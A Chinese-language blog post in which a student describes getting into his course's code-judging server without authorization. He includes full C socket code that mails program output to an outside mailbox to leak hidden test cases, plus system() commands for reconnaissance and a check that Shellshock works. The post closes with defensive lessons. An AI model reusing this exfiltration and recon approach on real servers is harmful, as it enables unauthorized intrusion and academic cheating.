0x00 情况简介
身为安全菜鸟爱好者的笔者本学期有一门课程, 需要提交代码到服务器上然后评测。 可恶的是服务器只会告诉你结果正误,而不返回程序的输出,因此无法通过打印输入的方法来获得测试点信息。 看着绞尽脑汁考虑了无数情况也依旧没过的几个测试点, 我不禁动了拿到测试点的想法,于是……
0x01 屏幕
现在的难题在于获得程序的输出结果。 在动手之前,先尽可能的收集服务器的信息, 这一步也有一些收获。
2.1 收集信息
通过上交了一个包含了math库的c文件,拿到了服务器的反馈——编译错误, 而且其返回信息和gcc几乎一模一样。再看了几道题目, 需要使用math库的题目都明确指出了“本题可以使用math库”, 据此不难判断服务器的系统是*nix类, 且测试系统使用的是gcc。
2.2 搭建屏幕
知道了系统,我开始了下一步行动——搭建屏幕,来获取程序运行信息。 我猜测此服务器是可以与校外外网联通的,因此我决定试试通过邮件获得信息。
由于评测系统的特殊性,限制了必须使用标准库。 百度一下,幸运的查到了一段通过c和socket来发送现成的代码http://blog.csdn.net/coolingcoding/article/details/7339945。 这段代码所需皆是标准库,正好可以拿来一用。而与其对应的操作就是使用telnet链接smtp服务器发送邮件。
我测试用的是163的邮箱,可是不幸的是,163邮箱的smtp服务器似乎不接受STARTTLS方式的认证,必须使用openssl采用SSL加密后认证。 而换了几个国内常见的邮箱,使用STARTTLS方式加密总是出现各种各样的问题,导致上述代码一直不可用。 而使用openssl就会极大的加大代码量和编写难度,我一时陷入了困境。
查了一下smtp服务器常见的认证方式,最常见的是LOGIN和PLAIN两种。 其中LOGIN是分别输入用户名和密码的base64加密后的串, 而PLAIN则是输入'\0username\0passwd'base64后的字符串。 上述代码采用的就是LOGIN方式认证。 而PLAIN模式,由于有转义字符\0,所以需要写一点小代码来生成串。 我使用的是perl
perl -MMIME::Base64 -e 'print encode_base64("\000username\000passwd")'
使用telnet进行测试,奇怪的是,使用LOGIN方式登录总是被服务器拒绝, 但使用PLAIN方式却是成功登录。但不管怎样,我有了通过简单的c来发送邮件的机会。 这里附上最后修改后可以正常使用163邮箱发送邮件的代码:
#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #define EHLO "EHLO ***\r\n" //***为邮箱用户名 #define DATA "data\r\n" #define QUIT "QUIT\r\n" int sock; struct sockaddr_in server; struct hostent *hp, *getHostByName(); char buf[BUFSIZ+1]; int len; char *host_id="smtp.163.com"; char *from_id="username@163.com"; // 替换username为你自己的用户名 char *to_id="to_id@to.com"; // 替换to_id为你需要发送的邮箱 /*=====Send a string to the socket=====*/ void send_socket(char *s) { write(sock,s,strlen(s)); } //=====Read a string from the socket=====*/ void read_socket() { len = read(sock,buf,BUFSIZ); write(1,buf,len); } int sendEmail(char *, char *); /*=====MAIN=====*/ int main(int argc, char* argv[]) { sendEmail("test", "success"); } int sendEmail(char *sub, char *content) { /*=====Create Socket=====*/ sock = socket(AF_INET, SOCK_STREAM, 0); if (sock==-1) { perror("opening stream socket"); return 1; } else printf("socket created\n"); /*=====Verify host=====*/ server.sin_family = AF_INET; hp = gethostbyname(host_id); if (hp==(struct hostent *) 0) { fprintf(stderr, "%s: unknown host\n", host_id); return 2; } /*=====Connect to port 25 on remote host=====*/ memcpy((char *) &server.sin_addr, (char *) hp->h_addr, hp->h_length); server.sin_port=htons(25); /* SMTP PORT */ if (connect(sock, (struct sockaddr *) &server, sizeof server)==-1) { perror("connecting stream socket"); return 1; } else printf("Connected\n"); /*=====Write some data then read some =====*/ read_socket(); /* SMTP Server logon string */ send_socket(EHLO); /* introduce ourselves */ read_socket(); /*Read reply */ send_socket("AUTH PLAIN youOwnBase64String"); //这里放上你自己生成的串 send_socket("\r\n"); read_socket(); send_socket("mail from: <"); send_socket(from_id); send_socket(">"); send_socket("\r\n"); read_socket(); /* Sender OK */ //send_socket("VRFY "); //send_socket(from_id); //send_socket("\r\n"); //read_socket(); // Sender OK */ send_socket("rcpt to: <"); /*Mail to*/ send_socket(to_id); send_socket(">"); send_socket("\r\n"); read_socket(); // Recipient OK*/ send_socket(DATA);// body to follow*/ read_socket(); send_socket("from: <username@163.com>\r\n"); //替换为自己的帐号 send_socket("to: <to_id@to.com>\r\n"); //替换to_id send_socket("subject:"); send_socket(sub); send_socket("\r\n\r\n"); send_socket(content); send_socket("\r\n.\r\n"); read_socket(); send_socket(QUIT); /* quit */ read_socket(); // log off */ //=====Close socket and finish=====*/ close(sock); //exit(0); return 0; }
这段代码最大的优势在于不需要链接额外的库, 可以轻松的在目标服务器上编译通过并运行。
上传代码,编译通过,成功收到邮件,屏幕搭建成功。
到此为止,我最初拿到测试点的目标已经达成。 后面的动作,可以说是出于我小小的恶趣味吧=_=
2.3 侦查
搭建完屏幕,我开始试着拿到更多的系统信息。 我采用的方法是通过system函数调用系统指令, 并把结果放到某个可以写入的文件中, 再通过读取该文件获得系统反馈并发送邮件的方式。 用代码来说,就是
system("command >> /path/to/file")
通过这种方法,我获得了更多的服务器信息, 比如服务器版本(uname -a)、 运行测试系统的帐号(whoami)、 提交后代码所在的目录(pwd)、 某些目录的目录树(ls -R xx)等等。
获得了这些信息后,发现服务器运行在一个低权限帐号上, 几乎无法做任何进一步的操作。 我想试试提权,可是我所知道的方法(su欺骗、暴力破shadow等)要么是不可行, 要么是会对服务器的正常运行产生很大影响,因此正义而善良的我放弃了动作。 就在我准备放弃时,看着服务器那老旧的版本号,我突然有了灵感,开始了后面的动作……
0x02 提权
我之前猜测,学校的大部分服务器都是疏于更新、跑着一大堆老旧软件的老古董。 而这次侦查验证了我的猜想,服务器里大部分的软件版本号旧的让人叹息。 而后面行动成功的关键,则是bash的版本号——4.1.5。 一查便知,在debian系统中,这个版本的bash恰好会被破壳漏洞所影响。 而测试服务器会运行用户提交代码的特性注定了破壳可以很容易的被利用。
交了一段测试代码,不出所料,破壳存在……
之前关于提权,仅仅是猜想,并未行动。刚在服务器上试了下,发现破壳漏洞和我理解的并不一样,它的利用是一件十分复杂事情。
在未来的一段时间内,我会仔细研究破壳漏洞的利用与防护,等有所收获时再发一文。
0x03 尾声
发现了破壳,之后就是各种测试,一边为了找到更多的利用机会,一边也是为了积累经验。 但是即使成功提权后,我也不会做一些破坏性的事。 毕竟,我所努力的方向,是守护,而不是破坏,虽然破坏有时候,更简单也更有趣。
这是一个菜鸟黑客的第一次入侵。 虽然这个系统本身就是漏洞重重, 可是不可否认,这次行动的基本成功极大的鼓舞了我继续钻研安全的信心。
当然,单纯的沉浸在喜悦里是没有意义的, 我开始思考这次入侵中的得失以及对应的防御。
此次入侵的核心点在于,服务器会不经检查的运行任意用户提交的代码。
本次入侵的第一个难点在于获得服务器反馈,而我的方法就是邮件。但我相信, 一定存在更简单省事的方法来完成这一点,而这个任务的核心就在于tcp ip协议。 所以,在接下来的时间里,我需要了解更多的关于tcpip socket等的东西。
第二个难点则是后面的提权,以及破壳的利用方法。这一部分尚在实验中。
至于防御,限于代码测试服务器的特殊性质,根本不可能禁止用户上传代码。 最简单的做法就是过滤。我想到的过滤方法有二: 一是过滤特殊的标准库,如本次所用代码中使用的sys/socket.h netdb.h netinet/in.h等, 二就是过滤特定函数的使用,如system()函数。
可是,由于c语言的灵活性,简单的过滤几乎一定可以被绕过。更高深的防御方法, 或许需要虚拟化等技术,待我了解更多后会再补充。
最后,这次入侵给我的启示如下:
- 服务器管理员一定要关注安全,及时打补丁
- 对于一切需要用户输入的地方,一定要小心小心再小心,限制限制再限制
- 绝不要想当然,动手后再确定结果
0x04 参考文献及致谢
感谢互联网的发展,让我可以随时查到自己需要的东西。
也感谢那些无私分享自己经验的创作者,正是他们充实了互联网,为后来者提供了便利。
- https://qmail.jms1.net/test-auth.shtml 用telnet登录邮箱
- http://blog.csdn.net/coolingcoding/article/details/7339945 用c语言发送邮件
- http://linxucn.blog.51cto.com/1360306/837365 smtp服务器验证方式